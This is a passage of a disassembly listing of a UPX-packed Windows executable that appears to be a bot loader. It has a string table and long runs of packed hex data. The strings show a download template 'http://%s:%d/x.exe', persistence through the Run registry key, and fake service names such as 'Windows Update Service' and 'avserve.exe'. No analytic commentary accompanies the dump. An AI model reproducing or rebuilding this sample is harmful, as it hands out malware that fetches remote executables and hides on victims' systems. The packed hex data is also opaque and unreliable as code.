sub_314223B2+2Ao align 4 aU10x db 'u10x',0 ; DATA XREF: sub_314223B2+23o align 4 aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_31422712+2Do align 4 aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_314221C4+23o ; sub_314229E6+66o ... align 4 aCryptographicS db 'Cryptographic Service',0 ; DATA XREF: sub_314221C4+1Co ; sub_31422A9B+87o ... align 10h aNjkdtpyhxp db 'njkdtpyhxp',0 ; DATA XREF: sub_314215C7+4Fo ; sub_31422B67+57o ... aRt db 'rt',0 align 10h dd 2 dup(0) aSoftwareMicr_0 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_31422B67+32o aClient db 'Client',0 ; DATA XREF: sub_31422B67+BCo ; sub_31422B67+F8o align 4 aId db 'ID',0 ; DATA XREF: sub_31422B67+37o ; sub_31422B67+75o align 10h aWindowsUpdate db 'Windows Update',0 ; DATA XREF: sub_314229E6+55o align 10h aMsConfigV13 db 'MS Config v13',0 ; DATA XREF: sub_314229E6+4Eo align 10h aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_314229E6+47o align 4 aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_314229E6+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_314229E6+39o align 10h aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_314229E6+32o align 4 aSystray db 'SysTray',0 ; DATA XREF: sub_314229E6+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_314229E6+24o align 10h aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_314229E6+1Do align 4 aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_314229E6+16o align 4 aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_314229E6+Fo align 4 a1: ; DATA XREF: sub_31422B67+B7o unicode 0, <1>,0 dd 7 dup(0) dword_31424FE8 dd 0 ; DATA XREF: sub_3142207E+C7r ; sub_314221C4+80w dword_31424FEC dd 0 ; DATA XREF: sub_314215C7+43r ; sub_314216A2+53o ... dword_31424FF0 dd 0 ; DATA XREF: sub_3142207E+79r ; sub_3142207E:loc_3142212Cr ... dword_31424FF4 dd 44h ; DATA XREF: sub_31421DF0+C2r ; UPX0:3142235Cw ... dword_31424FF8 dd 0 ; DATA XREF: sub_3142239E+2r ; sub_314223B2+CEw dword_31424FFC dd 0 ; DATA XREF: sub_314221C4+E0w ; sub_31422712+20r dword_31425000 dd 31420000h ; DATA XREF: sub_31421DF0+6r ; UPX0:31422341w dword_31425004 dd 0 ; DATA XREF: sub_314215C7+49r ; sub_314216A2+4Ao ... dword_31425008 dd 0 ; DATA XREF: UPX0:314227AFw ; UPX0:314227C1w word_3142500C dw 0 ; DATA XREF: sub_3142255F+3Br ; sub_314225C3:loc_31422624r ... align 10h dword_31425010 dd 0 ; DATA XREF: sub_31422B67+25w ; sub_31422B67+110w align 1000h UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00006000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31426000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31426000 dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h ; DATA XREF: UPX1:31427BB1o dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 736C0100h dd 70637274h, 1004179h, 61657243h, 76456574h, 41746E65h dd 61570100h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h dd 44010074h, 74656C65h, 6C694665h, 1004165h, 74697257h dd 6C694665h, 43010065h, 65736F6Ch, 646E6148h, 100656Ch dd 61657243h, 69466574h, 41656Ch, 74736C01h, 6E656C72h dd 6C010041h, 63727473h, 417461h, 74654701h, 74737953h dd 69446D65h, 74636572h, 4179726Fh, 65470100h, 636F4C74h dd 49656C61h, 416F666Eh, 6C530100h, 706565h, 746E4901h dd 6F6C7265h, 64656B63h, 68637845h, 65676E61h, 736C0100h dd 70637274h, 416E79h, 74654701h, 72727543h, 50746E65h dd 65636F72h, 1007373h, 50746547h, 41636F72h, 65726464h dd 1007373h, 64616F4Ch, 7262694Ch, 41797261h, 72570100h dd 50657469h, 65636F72h, 654D7373h, 79726F6Dh, 704F0100h dd 72506E65h, 7365636Fh, 47010073h, 6F4D7465h, 656C7564h dd 646E6148h, 41656Ch, 74654701h, 6B636954h, 6E756F43h dd 43010074h, 74616572h, 74754D65h, 417865h, 65724301h dd 54657461h, 61657268h, 43010064h, 74616572h, 6F725065h dd 73736563h, 53010041h, 76457465h, 746E65h, 65704F01h dd 6576456Eh, 41746Eh, 69784501h, 72685474h, 646165h, 746E4901h dd 6F6C7265h, 64656B63h, 72636E49h, 6E656D65h, 52010074h dd 46646165h, 656C69h, 74654701h, 656C6946h, 657A6953h dd 78450100h, 72507469h, 7365636Fh, 47010073h, 614C7465h dd 72457473h, 726F72h, 0D100h, 0 dd 65520100h, 65724367h, 4B657461h, 78457965h, 52010041h dd 65536765h, 6C615674h, 78456575h, 52010041h, 75516765h dd 56797265h, 65756C61h, 417845h, 67655201h, 6E65704Fh dd 4579654Bh, 1004178h, 44676552h, 74656C65h, 6C615665h dd 416575h, 67655201h, 736F6C43h, 79654B65h, 62410100h dd 5374726Fh, 65747379h, 7568536Dh, 776F6474h, 100416Eh dd 70797243h, 65724374h, 48657461h, 687361h, 79724301h dd 61487470h, 61446873h, 1006174h, 70797243h, 72655674h dd 53796669h, 616E6769h, 65727574h, 43010041h, 74707972h dd 74736544h, 48796F72h, 687361h, 79724301h, 65447470h dd 6F727473h, 79654B79h, 72430100h, 52747079h, 61656C65h dd 6F436573h, 7865746Eh, 43010074h, 74707972h, 75716341h dd 43657269h, 65746E6Fh, 417478h, 79724301h, 6D497470h dd 74726F70h, 79654Bh, 0DE00h, 0EC00h, 72730100h, 646E61h dd 6D656D01h, 797063h, 72747301h, 6E656Ch, 6D656D01h, 746573h dd 6E617201h, 5F010064h, 65637865h, 685F7470h, 6C646E61h dd 337265h, 72747301h, 727473h, 72747301h, 726863h, 0E900h dd 11000h, 69460100h, 6957646Eh, 776F646Eh, 47010041h dd 6F467465h, 72676572h, 646E756Fh, 646E6957h, 100776Fh dd 57746547h, 6F646E69h, 72685477h, 50646165h, 65636F72h dd 64497373h, 73770100h, 6E697270h, 416674h, 0F400h, 12400h dd 6E490100h, 6E726574h, 704F7465h, 72556E65h, 100416Ch dd 65746E49h, 74656E72h, 6E65704Fh, 49010041h, 7265746Eh dd 4374656Eh, 65736F6Ch, 646E6148h, 100656Ch, 65746E49h dd 74656E72h, 43746547h, 656E6E6Fh, 64657463h, 74617453h dd 49010065h, 7265746Eh, 5274656Eh, 46646165h, 656C69h dd 10000h, 13C00h, 73FF00h, 0FF0002FFh, 1FF000Dh, 39FF00h dd 0FF006FFFh, 17FF0034h, 0CFF00h, 0FF0009FFh, 13FF0004h dd 10FF00h, 0FF0016FFh, 3, 50000000h, 4C000045h, 0C8000201h dd 40D859h, 0 dd 0E0000000h, 0B010F00h, 601h, 26h, 12h, 34000000h, 23h dd 10h, 40h, 314200h, 10h, 4000002h, 0 dd 4000000h, 2 dup(0) dd 60h, 4, 2000000h, 0 dd 1000h, 10h, 1000h, 10h, 10000000h, 2 dup(0) dd 34000000h, 8C00002Dh, 15h dup(0) dd 7C000010h, 1, 5 dup(0) dd 2E000000h, 74786574h, 56000000h, 24h, 10h, 26h, 4, 2 dup(0) dd 20000000h, 2EE00400h, 61746164h, 14000000h, 10h, 40h dd 10h, 2Ah, 2 dup(0) dd 40000000h, 0C00000h, 3C000050h, 0C300002Fh, 0A1000054h dd 89254BBEh, 0DB43AA85h, 0AEF070A0h, 92A2047Dh, 4EC00F3Ch dd 27BE81Ch, 8402F26Ah, 47FC7D1Bh, 0F0024A19h, 0A033E402h dd 2164868h, 0D2B735D7h, 0A73D7D03h, 769F6801h, 36E6CCE6h dd 3A4A2064h, 1B5AB7CCh, 0DC87B734h, 6A7684E0h, 96F42A70h dd 0E6C8E38Ch, 5EC86080h, 7A97640Ah, 273E1B25h, 0A2280084h dd 364B003Fh, 3CD9B96Bh, 98B9B26Ch, 0E477BDE2h, 0DC016754h dd 317E500Fh, 0C777C3E4h, 0AC683B0Dh, 0D328C00Dh, 0B138CEDCh dd 0E56F08C9h, 0DB0C7A04h, 0D2484522h, 0DD2DC5F8h, 0D61B212Fh dd 402EDB1Ch, 67012DEh, 4C9039ECh, 40BCF844h, 0C27190D6h dd 1BDE5044h, 593B1E10h, 94B7336Fh, 8121970Dh, 67E9ACF9h dd 0E87CFEEBh, 1624A580h, 68250600h, 259D1C52h, 1CF25B07h dd 96F41276h, 899DE9C3h, 940AEF65h, 7BC87C6Ah, 64B1E3C3h dd 0C9BE490Ch, 991DD97Bh, 90E154E4h, 8C9FE924h, 0DCCCC349h dd 0CF78242Eh, 2C8248EDh, 0F864052Ch, 66F4150Ch, 3319A002h dd 8707A23h, 8F895E74h, 0F4C6DD0Eh, 1C51CC5Fh, 80B3EF9Ch dd 7F24E4A1h, 5A435A8h, 0B5D0781Bh, 571282F8h, 5A745737h dd 0ACBF931h, 74F80E14h, 9A0684Bh, 0CA28B753h, 2D3D74CEh dd 67ED85C9h, 0A0412069h, 0FFC55FFh, 35BAB9E8h, 50E49ED7h dd 0E9628ACh, 5B3002F0h, 5547BF4Dh, 8C0009F8h, 681583E4h dd 0F475583Bh, 1887EE42h, 851321C5h, 0A90A508Bh, 0BFF77FB6h dd 3C418B2Fh, 68C10357h, 488B4D2Ch, 50788B34h, 0A0F44D89h dd 0EE062AB4h, 1C68D84Bh, 5D97D81Bh, 0F0F559AAh, 868D201h dd 0C18DEC12h, 0ED74C3B1h, 1110D70Dh, 0F46F0E82h, 1409B26Ah dd 0F84DF123h, 91762C51h, 18185085h, 892A6897h, 6C54A0E9h dd 0CA405DB0h, 46C0ED03h, 0EB346B63h, 9AAB1930h, 596ED578h dd 37DF055h, 0AB6745E6h, 0F03EDD4Bh, 53503151h, 9E0AC1Eh dd 0F435C4F7h, 17FAD6BDh, 3FEA6D6Ah, 5577D0F1h, 74C73BECh dd 1BEB5805h, 5AE57E17h, 25348CBFh, 5FC0E59h, 36E7345Fh dd 740807EBh, 0E1FC58EFh, 5F521E86h, 602F5151h, 0B269310Fh dd 5C91A144h, 0BAB8250Dh, 0DD20DB42h, 0B213B1AFh, 1133AEECh dd 2D590FEBh, 0B66AF9C2h, 99EDC4B1h, 0C803CBCh, 1450A850h dd 7D2774D6h, 5DC02C50h, 4459FC19h, 437C20BAh, 247C8B57h dd 0A5C58314h, 7E11D25Ah, 641A8717h, 803FFFF5h, 148861C2h dd 0F73B461Eh, 2480E97Ch, 0C68C003Bh, 54D5D6DBh, 5F2E448Bh dd 5657AC5Ah, 30181DDBh, 2F216674h, 8896DC73h, 50F02EEDh dd 565019h, 3C3ACAAh, 9577E134h, 49F44DC4h, 8F6B6E8Ch dd 0F00CFA68h, 0C908C7FFh, 349B6996h, 2E2ACC34h, 99AD734Ch dd 0A0A75EDh, 1A20BC50h, 3E160118h, 7C654A1h, 13B7FB8h dd 0ADF1CE74h, 8B0C407Dh, 51080100h, 5F24448Dh, 9B613421h dd 0D31130C5h, 74245903h, 7F84EE8h, 7BBCC15h, 662FC820h dd 3333C7FBh, 0C1F8C8E4h, 0B8510E7h, 4679B0D4h, 8B0200B6h dd 33125Dh, 0F3702647h, 19DC201h, 53C4EAC9h, 0A311E3C6h dd 0F2B57B35h, 0C3255035h, 26B69D83h, 0ADE74880h, 40666CB5h dd 41F0179Eh, 0BB683595h, 98CEE331h, 0B76C683Dh, 474FF044h dd 19B1606Ch, 0A54D54FEh, 2CC5D314h, 7C54DADCh, 0FC0DFE00h dd 33A134BAh, 2B7900B9h, 72C13BC7h, 72C18B02h, 0E1EBB76Fh dd 0E8A1292Bh, 23C70318h, 0FE25A3ACh, 233DCC96h, 786A1172h dd 0DA3140F8h, 0C4EB3C28h, 7750E113h, 6CF64F26h, 941ED411h dd 0CD3C6815h, 0BEE4D62h, 97386803h, 9D663E3Ch, 54533AB5h dd 0D0835253h, 8C47E0B1h, 4C29824h, 136D8223h, 0E643098h dd 0E8D0B1F7h, 8C316D4h, 0BBEE4E29h, 89574377h, 80686806h dd 27841D89h, 5D4F7E18h, 14EC6DA2h, 0F2D4C0h, 0C1345391h dd 27B6B6Ch, 80EB3A01h, 9AD468E6h, 1A4DFD77h, 0B34A3678h dd 0DCCD2F74h, 677A5EA3h, 0A3650C75h, 53FCA4FEh, 1AD9D251h dd 3A865613h, 0DC3E68D8h, 2656D88Ch, 58195EF9h, 0F8DA6A12h dd 5E0510C2h, 0EF4B56C0h, 0C6697A4h, 0EC5D89E8h, 0DFFF050Dh dd 25EDF760h, 3A041FFFh, 43FCA3C3h, 8A1FE774h, 5FC984CCh dd 74E849BDh, 0EA6B50DFh, 64405F42h, 0A51985BAh, 440C6465h dd 2BE9AFA3h, 14F85F7Bh, 9E481FD8h, 0FACEADECh, 15207E68h dd 0E2EB624Eh, 5CC1CF53h, 455FE142h, 0AC019043h, 70661D7Bh dd 0B0333CAEh, 0D30711D6h, 23EDB43h, 803AD6E6h, 9B0D0AF9h dd 0ABB068B4h, 74E063A3h, 822B01D8h, 0F4A37B7Ch, 8609D9FBh dd 0B73DE4CDh, 29E04552h, 0EECDF670h, 1904640Dh, 68631BE2h dd 0EC1323B2h, 5C344FB5h, 1386EB13h, 0B06099AEh, 3569FB1Ah dd 397044F8h, 90252C40h, 0D2908F93h, 70CDC864h, 90458C13h dd 9406EF5Ch, 72391C54h, 9C4C98E4h, 0A43CA044h, 47239134h dd 0AC2CA88Eh, 391CB024h, 0B4C8E472h, 0BC14B818h, 9F0CC010h dd 0C41C8E47h, 0CC04C808h, 0F8D04DFCh, 2391C8E4h, 0F0D8F4D4h dd 85AEECDCh, 0E8E07239h, 487E4E4h, 8B66BDh, 0A36CD337h dd 0B978DADEh, 2FCB06Dh, 7309838Ch, 0EC8C3412h, 415C0376h dd 4A8D9085h, 0EB0CFF59h, 4D8D1AE8h, 0B40DE438h, 0C9391A5Ch dd 870BF07Ch, 0D4683974h, 37A8AB4Dh, 0B6326277h, 0C4064DCCh dd 843E0D6Dh, 9ABC4984h, 4E570465h, 2ADB3B72h, 0A341521h dd 276E16A2h, 41173E3Ah, 5F9A2842h, 7D21E014h, 0F818B4E8h dd 0EB9C1388h, 0C28242E3h, 5A159993h, 1B6095AFh, 63554703h dd 0DE7FA480h, 0AD11F0AAh, 0B458A51h, 32FF6A9Eh, 80C1EDDBh dd 0CC3A52C3h, 0DC5D3831h, 0F108FE3Ah, 0B5D8825h, 0FFD07D2h dd 5A0C35B7h, 0F80CFF59h, 0F7990F93h, 8ED603FEh, 0FB80C3FEh dd 2ED572FFh, 5EBDC65Bh, 5F7662BAh, 9813B264h, 68336F04h dd 56DA0958h, 81084F38h, 0C70D040Ah, 9DB59B0h, 80758F0Bh dd 609B492Dh, 5FF90F75h, 1E892C25h, 3D9DADE4h, 3FF8432h dd 0FB8143D7h, 0B50DBE71h, 5F9F9623h, 6BA65D87h, 7B4F3B16h dd 6DA25A73h, 0E6573C19h, 9973002Fh, 0FDBE78B7h, 0F6FEFF04h dd 61887F3Ch, 33FC6C5Bh, 88BF50Fh, 0AADCF33Bh, 0D8B3B276h dd 57A0A33Eh, 9C572F9Eh, 2259ED9h, 1359F8D6h, 256E25C3h dd 0B3BBFF0Eh, 0C3F2EE75h, 68E1AC8Eh, 0D3A62710h, 969ED3BEh dd 84C1C180h, 50A92D70h, 1052AD62h, 8FC2454Eh, 0BA6032F5h dd 0F2AA5C6Ah, 0E0F9DCDFh, 0BFC3A4Ch, 6468B003h, 372DD4Eh dd 11103B06h, 0D742BA27h, 6CE012F7h, 0B80C609h, 0B02B39DFh dd 556F0BB0h, 84579356h, 80CC78D8h, 5113E6D8h, 68661C4Dh dd 0FD1F0CA5h, 0D91462F4h, 538906EEh, 20BF661h, 838506Ah dd 0A05BFDAFh, 0D2052C5Dh, 18740096h, 73071109h, 1001478Dh dd 141905h, 9DD8513h, 1706D84Fh, 42BDAA0Eh, 74F081DBh dd 0C7D5530Dh, 0BE111051h, 392101E1h, 3A18244Ch, 7EED85EDh dd 0D876D811h, 264BA586h, 0EF144D2Ch, 6C192596h, 0EBA20577h dd 8B750DF2h, 65B8B076h, 68FADDEBh, 0C11B333Fh, 968160C8h dd 77D0150Ch, 6EA96236h, 90140810h, 2F874BA3h, 5618D951h dd 0D8D85CFCh, 0F61837B2h, 743D563Eh, 6311CE05h, 61412ADCh dd 0B74B2C9Ch, 102050D3h, 59030818h, 0AA0B62FCh, 8B550F5Eh dd 5ACEE1C6h, 2E33A257h, 56532C56h, 0C9901884h, 25270055h dd 5ACE5903h, 40C520Ah, 9262CF20h, 28AF5D0Ch, 89E2B701h dd 21DE53C3h, 948E694Eh dd 13F6F438h, 5C1E3C34h, 0F7794E36h, 43ADDE04h, 281D146Ch dd 687AA42Dh, 92C1EC35h, 0F4D85A2Dh, 22F40910h, 0CF203BD0h dd 0EEF8367Ah, 477D221Dh, 11E748Dh, 0F556FC7Bh, 4804C1FEh dd 0B5FF1C1Eh, 0B9B345E0h, 0FF452F20h, 8521F0Fh, 61C35760h dd 1C465033h, 3489BD76h, 0B733A074h, 57D6A93Ch, 0D91B1C8h dd 984FACB6h, 1C80D406h, 0D8E47239h, 0E06CDC74h, 9148E460h dd 0E88E4723h, 0F020EC3Ch, 1934D110h, 0B700F4CCh, 63BF0B84h dd 647CE261h, 8B7EF9BEh, 0A16451A2h, 0B4C43D18h, 0CBD83608h dd 0E177572h, 0A64D1D49h, 2A099E9Ah, 0BDA3833Eh, 8A460975h dd 7888E044h, 8C47F46Ah, 0B40974B0h, 6A885974h, 8BB38163h dd 84BCDE59h, 7A2F22A1h, 0E0833FC1h, 5C08303h, 86B9CD57h dd 0FD594A8Bh, 509D10CFh, 3D12186Eh, 1C3DD607h, 0E26EE66h dd 50E83F14h, 982CEF42h, 2040A261h, 4B7CCA41h, 0D7C63F68h dd 0CC59B306h, 1B41D986h, 0CFA125D3h, 0B801F454h, 9681E007h dd 9F8B0F40h, 3EC18817h, 481FC517h, 5FD14C7h, 25596D30h dd 0E0B3BA10h, 0BF501D6Ah, 86103DD8h, 51FC71F0h, 1537743Fh dd 31583A06h, 60A7BB0Ah, 0BEFD8A06h, 0F45352D1h, 7EE6BC3Dh dd 3D53D8B3h, 0FEBB138h, 0A0C1CE59h, 0B632BDB3h, 38DE1B68h dd 65E265B0h, 0C868C226h, 5B373B4Fh, 0BB46D1F6h, 971A0DB9h dd 41D60B35h, 4C125E12h, 7A4EC6F0h, 0C631EE4Ah, 0B6413BBBh dd 2CFD90CCh, 90B610B5h, 480718B7h, 6015EB0Ch, 2D1880E5h dd 0AF1909CDh, 5132BA1Eh, 44330C5Dh, 0EC5B3D50h, 6A7D6883h dd 0CC401113h, 0F42A66E7h, 2806FF00h, 0A910F805h, 0F49199EFh dd 51001BF0h, 8DF7DF9Bh, 723B8D1Ah, 0BE98114h, 0AD85042Dh dd 1B1FDBEh, 2BEC7317h, 0CC48BC8h, 88BE18Bh, 0B5B236EAh dd 4353A302h, 45055C64h, 58363605h, 0A2000049h, 0F1022C02h dd 8F34BF14h, 52240206h, 80314153h, 0B77FFFFFh, 0F501018Fh dd 7911838Dh, 0E42AEC52h, 49E7F63Ah, 0BEE0EA9Bh, 7EDB21AFh dd 0FFFA9544h, 5E1AFFFFh, 85A03261h, 949F6A1Fh, 843994FFh dd 358F26A6h, 0A55C1DCEh, 7AB20BC9h, 0FF307265h, 371FFFFFh dd 697A6F4Dh, 2F616C6Ch, 20302E34h, 6D6F6328h, 69746170h dd 3B656C62h, 0FFFD4D20h, 4953FB5Bh, 15362045h, 6E695709h dd 73776F64h, 20544E20h, 29312E35h, 0D40BBB3Dh, 8EE434h dd 0C40104D4h, 0CF3DF7B4h, 90A00EF3h, 68047480h, 3CF3CF0Eh dd 480958DFh, 30D4743Ch, 64D937CFh, 10222045h, 0ED00304Ah dd 0F83E437Fh, 76631340h, 75722E76h, 0BDB6367Eh, 70077B5h dd 976C6465h, 0C1660F65h, 0FF7B7FF2h, 61657365h, 0E686372h dd 626F721Fh, 6863786Fh, 0DB676E61h, 0D2B9BB7Fh, 0C74651Fh dd 622E6472h, 61007A69h, 85D86328h, 6B68E46Dh, 740C6D61h dd 24782D06h, 0B9BB6DB3h, 6F6C0600h, 6B37620Eh, 0BEF6FD47h dd 276266Dh, 76742E7Ah, 6F74111Bh, 856E2E70h, 178C2D80h dd 27730F69h, 80FF0B33h, 0F788D6Dh, 6C756461h, 4B652D74h dd 7EDB7669h, 338072B3h, 73A66E6Fh, 622E744Eh, 0DF0AC07Dh dd 67694F67h, 77780032h, 5B7FB361h, 626A2CFBh, 9B00AD62h dd 6166617Ah, 0F84887A8h, 655D2EB6h, 61AF5C23h, 0F6EDF862h dd 656463FFh, 69686766h, 6D6C6B6Ah, 7271C56Eh, 777675F7h dd 0FFC67978h, 650E50DFh, 46454443h, 4A494847h, 4E4D4C4Bh dd 5451504Fh, 0FF68C3FFh, 57565554h, 1B5A5958h, 74746823h dd 2F2F3A70h, 3B9BF025h, 2F0B73B0h, 702E9765h, 7B3F7068h dd 0EB6FB7Eh, 73260F3Dh, 64066E63h, 666E6926h, 29073B76h dd 313D7DB7h, 74132639h, 58EBA01Bh, 60F6BBFBh, 3732313Dh dd 3A3101A8h, 2F303038h, 80FFDF65h, 0DFEC8Dh, 335DDFE8h dd 0EEB966C9h, 0FFDB6FFFh, 5758D01h, 68AFE8Bh, 4607993Ch dd 46302C06h, 7889934h, 0EBEDE247h, 0E8342FF7h, 7EDAE80Ah dd 2E6765DFh, 0C9999371h, 0DFFFEF01h, 0BDFD12FEh, 716FD91h dd 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 1A98A91Ch, 0F75BB1FFh dd 0F198F3C9h, 71028608h, 5F9010C0h, 599237CBh, 0F931C96h dd 3A78B3FBh, 7157E414h, 713A0A7Dh, 0BEFB9D45h, 0F19DF3EDh dd 0F1098904h, 40119C04h, 0FD8EEDB3h, 0E3F36723h, 0DC1C10F0h dd 6059B20Bh, 3D8FC99Bh, 125EFF6h, 0A10414D9h, 9E71CA17h dd 61688D2Bh, 964617B3h, 0E21AAD91h, 28111D96h, 0ED6F6D9Fh dd 0C850B2h, 57DC1499h, 4E122555h, 0DFECC0A4h, 1291EDDEh dd 0F7ED9949h, 0C4140054h, 71CBCA3Ah, 87B31C3Bh, 24FFFDDDh dd 0CF1A21E4h, 668FCDCDh, 0FBB6812Ch, 1E3F6C9Fh, 83B8B0FBh dd 5D12CDC3h, 1DCBC9A8h, 6F9DB27Fh, 0B24AD25h, 96A6485Ah dd 0C9FECBC0h, 4C1B1464h, 0F3EBA729h, 0D9FFBA9Ch, 16E9B3F7h dd 7126F434h, 0F90EFCF5h, 29EF133Bh, 6FFF6B46h, 5F37F776h dd 0EC4766DEh, 116A0A8h, 0EDFFC5B7h, 0FDE9ECE9h, 0EF610FBBh dd 2CE1FCB7h, 0FCF5CA01h, 0FCF25AFCh, 0FDBFFFE5h, 0F5FCF7EBh dd 0C7D6ABAAh, 59AAF934h, 2A2A25B4h, 93ACC966h, 0BEB78190h dd 90FF67F0h, 0C983639Dh, 309271CDh, 513519BFh, 0A95D914h dd 0FFFF9172h, 712AEC20h, 0A5D2EBC8h, 0E180D512h, 6FAA529Ah dd 9A2A8D14h, 46FEDFC8h, 8B12B9FBh, 0C3474A9Ah, 0DB9BAB9Eh dd 0EC20A319h, 0FFDDA26Ch, 0BDFFFDBFh, 0DF9EED85h, 0EB81E8A2h dd 0C8125544h, 2E961FBDh, 0D812EB8Dh, 125A9A85h, 0FF9A099Dh dd 5ACD0B09h, 0D096F810h, 7F664922h, 8712FEFDh, 0BB6F6EDBh dd 95C25AA9h, 82128502h, 0CB5A9104h, 0F9B9CFF7h, 857F4067h dd 424D53FFh, 0C8531872h, 9CFF4BFh, 62FEFFh, 83435002h dd 4F575445h, 0E35BED52h, 50204BFFh, 52474F52h, 31204D41h dd 414C17CDh, 52024D4Eh, 0A6290EBh, 0B71566ABh, 0B75BB696h dd 0BB676B03h, 330E7075h, 0B61F611Ah, 4D27EB74h, 21583223h dd 2E323232h, 66D35831h, 2018D62Ah, 5A8B323Ch, 0A433C8C9h dd 0EC1B0773h, 0C2285DBh, 40023FFh, 20140A11h, 8DDADE05h dd 69A0D41Ah, 534B4C00h, 4915053h, 97B7887Fh, 4AE00882h dd 0EDF81773h, 6E240057h, 6F006400h, 3A730075h, 5EDEC874h dd 901306Ch, 3500398Ch, 0DCC06C23h, 72E1D96h, 32ABDA00h dd 889CF20h, 3B57DA20h, 9F4C9383h, 46F20003h, 0C1901E23h dd 40074706h, 0D1060006h, 1046E7FFh, 8A151F01h, 48E088h dd 8144004Fh, 0FE1BFFFDh, 0F27A6A19h, 281C49E4h, 742530AFh dd 0E1536710h, 137C853Ch, 3075DF5Ch, 0AEBD0400h, 75CB6B9h dd 5C085ABDh, 72363761h, 72E4DD7h, 2E380036h, 3B1B3077h dd 496D899Bh, 0E843EC00h, 0F9633F00h, 640E7900h, 4DC08A2h dd 6DFF20F6h, 0FF1640h, 0E00DEDEh, 19F1600h, 9BF2602h dd 28401213h, 0C1110319h, 8B7DC346h, 0D374D96Ch, 0BBE42970h dd 9C2A9BACh, 0D81D256Bh, 109F6DB3h, 1B04480Eh, 5D6DCF54h dd 5A5413D7h, 22596326h, 83CBC75Ch, 45B9FF34h, 58765h dd 4810030Bh, 0C5FFFFB8h, 0EB810DEh, 286A050Bh, 0B10C3919h dd 0A89B11D0h, 7D4FC000h, 0D9EC7FE1h, 5D5FF52Eh, 1CEB8A88h dd 0E89F11C9h, 48102B3Ch, 0B22E7C60h, 0F40CD197h, 0CA060A3h dd 95E43C80h, 0CB10CA0h, 32393BFEh, 880CA000h, 90040h dd 847B03ECh, 7F927h, 4F401495h, 0BF40707Ch, 6C8A5ECh dd 13430700h, 88FFC279h, 138578h, 0E9A65BABh, 18F81013h dd 2FE409CFh, 230EFEFFh dd 0D45830C1h, 8408BE40h, 7DD3E488h, 10B943D2h, 0B801FFEEh dd 79366110h, 0AD200CF2h, 9F7F070Dh, 0FF215E5h, 700118D8h dd 0F900F84h, 0F842579h, 4D000F95h, 206FC9Eh, 6C0F847Fh dd 84AADE0Fh, 0A89A0087h, 93F436Fh, 1F13C88Ch, 50586E69h dd 0C0A6DB20h, 7250CAh, 39014446h, 3C844FC9h, 123C6B32h dd 7B027515h, 413C840Dh, 941C0053h, 1CAFFF01h, 0C606EB22h dd 73255C5Ch, 6370695Ch, 9BFFF975h, 0EC816624h, 0E4FF071Ch dd 44655300h, 67756265h, 0FA377669h, 67853518h, 6A6441A7h dd 6F546175h, 0EC99B6E4h, 176E656Bh, 126F4C73h, 0BF6D7075h dd 61569FDDh, 4165756Ch, 28704F17h, 7324636Fh, 8D48EA58h dd 76430034h, 65333F61h, 0E33152A3h, 0F86D4C79h, 0F5056D1Bh dd 545F1165h, 57796172h, 95D52DB5h, 31431735h, 52521A61h dd 682DBB9Dh, 6854056Fh, 7356140Ch, 0A35B6B75h, 284158DBh dd 0A578454Fh, 77336D67h, 47356E3Ah, 121EF3F5h, 48F46897h dd 7F505454h, 5732203Ch, 0FDEF52B5h, 0D4B4F20h, 9F4B010Ah dd 6ADF6644h, 4C2D02BBh, 3A2D6704h, 18752520h, 0CA587B5Ah dd 7954282Fh, 0A66D26B5h, 70A3DAB6h, 15836386h, 8EA9EE2Fh dd 2DC7025Ah, 42C97293h, 9F56B18Bh, 2B004757h, 0A35B47BAh dd 0E564F6F4h, 42CB73CBh, 6D8D57FBh, 0A9637673h, 0DA6977CBh dd 0F1538B77h, 175F3203h, 9A69E775h, 7B5E62Eh, 36373803h dd 0A6BB2774h, 331F3435h, 32033369h, 0D34B75F2h, 13393031h dd 0C8383F38h, 370D8320h, 20353607h, 34320C83h, 909A3233h dd 3031C83Ah, 0F93AF378h, 0CC95ACFFh, 4F53BBD9h, 41575446h dd 4D5C4552h, 62C1F869h, 6F736F7Bh, 5CBF5CD7h, 72727543h dd 6B61BC22h, 73DC5615h, 75525C0Ah, 85B79F6Eh, 74231716h dd 6824D26Fh, 0FF532030h, 1B6850A3h, 673BE3F7h, 7264736Eh dd 1D93706Ah, 652B79B6h, 51530002h, 6612D86h, 6C0E5F06h dd 5736264Dh, 5F664B68h, 60C14923h, 34421C28h, 68FF5455h dd 130BC037h, 5E432053h, 0D5762067h, 0FB95B7B3h, 8058763Bh dd 0C823B532h, 7C65B05Eh, 0FC471A1Bh, 23596E66h, 79931217h dd 36346B73h, 4200707Eh, 61BF2063h, 0B7B5B623h, 6D1B1358h dd 0DD975220h, 0B4B63772h, 0E0440300h, 2F660E20h, 0EE7B25B0h dd 2AAC6D67h, 5B632463h, 22BFDAE4h, 20797469h, 1E6E614Dh dd 0AC31B81Ah, 74201501h, 2A2AAE89h, 0FD92BBC4h, 